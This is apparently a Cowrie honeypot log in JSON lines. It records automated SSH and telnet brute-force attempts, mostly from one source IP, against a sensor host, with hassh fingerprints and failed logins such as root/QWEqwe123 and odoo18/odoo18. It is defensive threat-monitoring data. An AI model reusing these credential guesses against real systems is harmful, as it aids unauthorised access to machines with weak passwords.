{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:49.016212Z","src_ip":"103.173.227.57","session":"bf1dd0867809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbn123456","message":"login attempt [root/zxcvbn123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:49.723965Z","src_ip":"103.173.227.57","session":"bf1dd0867809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:49.772332Z","src_ip":"45.153.34.112","session":"dbdc672cc5ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.287044525146484,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:50.698833Z","src_ip":"192.119.13.58","session":"2bd7f46b5241","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:50.960527Z","src_ip":"103.173.227.57","session":"bf1dd0867809","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":55858,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9d7ebc19118","protocol":"ssh","message":"New connection: 45.153.34.112:55858 (10.17.0.5:22) [session: b9d7ebc19118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:51.883642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:51.888401Z","src_ip":"45.153.34.112","session":"b9d7ebc19118","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:51.970952Z","src_ip":"45.153.34.112","session":"b9d7ebc19118","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:52.218629Z","src_ip":"45.153.34.112","session":"b9d7ebc19118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:53.303509Z","src_ip":"45.153.34.112","session":"b9d7ebc19118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.36453676223755,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:53.865594Z","src_ip":"192.119.13.58","session":"149a13319d68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":55860,"dst_ip":"10.17.0.5","dst_port":22,"session":"2eb3c47fbd8d","protocol":"ssh","message":"New connection: 45.153.34.112:55860 (10.17.0.5:22) [session: 2eb3c47fbd8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:55.266608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:55.271577Z","src_ip":"45.153.34.112","session":"2eb3c47fbd8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:55.354617Z","src_ip":"45.153.34.112","session":"2eb3c47fbd8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"victor","password":"123456","message":"login attempt [victor/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:55.603207Z","src_ip":"45.153.34.112","session":"2eb3c47fbd8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:56.688749Z","src_ip":"45.153.34.112","session":"2eb3c47fbd8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":55864,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e09206dc0b3","protocol":"ssh","message":"New connection: 45.153.34.112:55864 (10.17.0.5:22) [session: 7e09206dc0b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:58.778178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:58.782886Z","src_ip":"45.153.34.112","session":"7e09206dc0b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:58.865075Z","src_ip":"45.153.34.112","session":"7e09206dc0b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QQ123456","message":"login attempt [root/QQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:59.110360Z","src_ip":"45.153.34.112","session":"7e09206dc0b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:00.204924Z","src_ip":"45.153.34.112","session":"7e09206dc0b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40748,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a7662c3ae15","protocol":"telnet","message":"New connection: 192.119.13.58:40748 (10.17.0.5:23) [session: 6a7662c3ae15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:01.600880Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":48308,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ecc77140c71","protocol":"ssh","message":"New connection: 45.153.34.112:48308 (10.17.0.5:22) [session: 3ecc77140c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:02.174709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:02.179426Z","src_ip":"45.153.34.112","session":"3ecc77140c71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:02.264106Z","src_ip":"45.153.34.112","session":"3ecc77140c71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jumpserver","password":"jumpserver","message":"login attempt [jumpserver/jumpserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:02.530408Z","src_ip":"45.153.34.112","session":"3ecc77140c71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:03.621000Z","src_ip":"45.153.34.112","session":"3ecc77140c71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46336,"dst_ip":"10.17.0.5","dst_port":23,"session":"7004ba968386","protocol":"telnet","message":"New connection: 192.119.13.58:46336 (10.17.0.5:23) [session: 7004ba968386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:04.003599Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":48320,"dst_ip":"10.17.0.5","dst_port":22,"session":"32a51f362277","protocol":"ssh","message":"New connection: 45.153.34.112:48320 (10.17.0.5:22) [session: 32a51f362277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:05.830228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:05.835516Z","src_ip":"45.153.34.112","session":"32a51f362277","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:05.926318Z","src_ip":"45.153.34.112","session":"32a51f362277","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:06.177397Z","src_ip":"45.153.34.112","session":"32a51f362277","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:07.263446Z","src_ip":"45.153.34.112","session":"32a51f362277","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":48344,"dst_ip":"10.17.0.5","dst_port":22,"session":"1364eebad489","protocol":"ssh","message":"New connection: 45.153.34.112:48344 (10.17.0.5:22) [session: 1364eebad489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:09.358186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:09.363388Z","src_ip":"45.153.34.112","session":"1364eebad489","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:09.445804Z","src_ip":"45.153.34.112","session":"1364eebad489","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:09.693451Z","src_ip":"45.153.34.112","session":"1364eebad489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:10.925857Z","src_ip":"45.153.34.112","session":"1364eebad489","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38044,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b6d597172af","protocol":"telnet","message":"New connection: 192.119.13.58:38044 (10.17.0.5:23) [session: 4b6d597172af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:11.630660Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54920,"dst_ip":"10.17.0.5","dst_port":22,"session":"a34985b66ed4","protocol":"ssh","message":"New connection: 45.153.34.112:54920 (10.17.0.5:22) [session: a34985b66ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:12.953022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:12.959849Z","src_ip":"45.153.34.112","session":"a34985b66ed4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:13.046106Z","src_ip":"45.153.34.112","session":"a34985b66ed4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:13.293158Z","src_ip":"45.153.34.112","session":"a34985b66ed4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:14.379092Z","src_ip":"45.153.34.112","session":"a34985b66ed4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54924,"dst_ip":"10.17.0.5","dst_port":22,"session":"45d955e82bff","protocol":"ssh","message":"New connection: 45.153.34.112:54924 (10.17.0.5:22) [session: 45d955e82bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:16.591917Z"}
